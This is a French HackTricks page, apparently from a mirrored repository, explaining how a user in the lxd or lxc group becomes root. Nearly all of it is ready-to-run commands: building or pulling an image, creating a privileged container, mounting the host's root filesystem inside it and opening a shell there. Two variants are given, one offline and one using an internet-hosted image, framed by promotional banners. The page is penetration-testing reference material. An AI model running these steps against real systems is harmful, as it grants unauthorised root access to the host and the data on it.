mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
86 lines
4.1 KiB
Markdown
86 lines
4.1 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres moyens de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
|
|
Si vous appartenez au groupe _**lxd**_ **ou** _**lxc**_, vous pouvez devenir root
|
|
|
|
# Exploitation sans internet
|
|
|
|
Vous pouvez installer sur votre machine ce constructeur de distribution : [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder) \(suivez les instructions du github\) :
|
|
```bash
|
|
#Install requirements
|
|
sudo apt update
|
|
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
|
|
#Clone repo
|
|
go get -d -v github.com/lxc/distrobuilder
|
|
#Make distrobuilder
|
|
cd $HOME/go/src/github.com/lxc/distrobuilder
|
|
make
|
|
cd
|
|
#Prepare the creation of alpine
|
|
mkdir -p $HOME/ContainerImages/alpine/
|
|
cd $HOME/ContainerImages/alpine/
|
|
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|
#Create the container
|
|
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
|
|
```
|
|
Ensuite, téléchargez sur le serveur les fichiers **lxd.tar.xz** et **rootfs.squashfs**
|
|
|
|
Ajoutez l'image :
|
|
```bash
|
|
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
|
lxc image list #You can see your new imported image
|
|
```
|
|
Créer un conteneur et ajouter le chemin racine
|
|
```bash
|
|
lxc init alpine privesc -c security.privileged=true
|
|
lxc list #List containers
|
|
|
|
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
|
```
|
|
Exécutez le conteneur :
|
|
```bash
|
|
lxc start privesc
|
|
lxc exec privesc /bin/sh
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
# Avec internet
|
|
|
|
Vous pouvez suivre [ces instructions](https://reboare.github.io/lxd/lxd-escape.html).
|
|
```bash
|
|
lxc init ubuntu:16.04 test -c security.privileged=true
|
|
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
|
lxc start test
|
|
lxc exec test bash
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
# Autres Références
|
|
|
|
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres moyens de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|